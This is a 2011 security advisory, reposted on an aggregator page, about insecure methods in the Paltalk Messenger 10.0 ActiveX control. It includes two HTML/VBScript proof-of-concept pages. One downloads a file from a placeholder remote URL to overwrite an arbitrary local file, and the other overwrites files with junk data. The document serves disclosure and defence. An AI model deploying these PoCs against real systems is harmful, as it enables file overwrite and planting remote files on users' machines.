Paltalk Messenger 10.0 Insecure Method

🗓️ 16 Jul 2011 00:00:00Reported by High-Tech Bridge SAType

packetstorm🔗 packetstormsecurity.com👁 33 Views

Paltalk Messenger 10.0 ActiveX Control Insecure Method

`Vulnerability ID: HTB23026  
Reference: http://www.htbridge.ch/advisory/paltalk_messenger_activex_control_multiple_insecure_methods.html  
Product: Paltalk Messenger  
Vendor: Paltalk ( http://www.paltalk.com )   
Vulnerable Version: 10.0 and probably prior  
Tested on: 10.0  
Vendor Notification: 22 June 2011   
Vulnerability Type: ActiveX control Insecure Method  
Risk level: High   
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )   
  
Vulnerability Details:  
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Paltalk Messenger, which can be exploited to overwrite arbitrary files.  
  
1) The vulnerability is caused due to the Office Viewer ActiveX control (Oa.ocx) including the insecure "HttpDownloadFile()" method.   
This can be exploited to overwrite arbitrary files in the context of the currently logged-on user by any file located on a remote http server.  
  
The following PoC code is available:  
  
  
<html>  
<object classid='clsid:18A295DA-088E-42D1-BE31-5028D7F9B9B5' id='target' /></object>  
<input language=VBScript onclick=Boom() type=button value="Exploit">  
<script language = 'vbscript'>  
  
Sub Boom()  
arg1="http://URL/Filename"  
arg2="FilePath\Filename_to_create"  
target.HttpDownloadFile arg1 ,arg2   
End Sub  
  
</script>  
</html>  
  
  
2) The vulnerability is caused due to the Office Viewer ActiveX control (Oa.ocx) including the insecure "Save()" method.   
This can be exploited to overwrite with junk data arbitrary files in the context of the currently logged-on user.  
  
  
<html>  
<object classid='clsid:18A295DA-088E-42D1-BE31-5028D7F9B9B5' id='target' /></object>  
<input language=VBScript onclick=Boom() type=button value="Exploit">  
<script language = 'vbscript'>  
  
Sub Boom()  
arg1="FilePath\Filename_to_create"  
target.Save arg1   
End Sub  
  
</script>  
</html>  
  
  
`

16 Jul 2011 00:00Current

0.1Low risk

Vulners AI Score0.1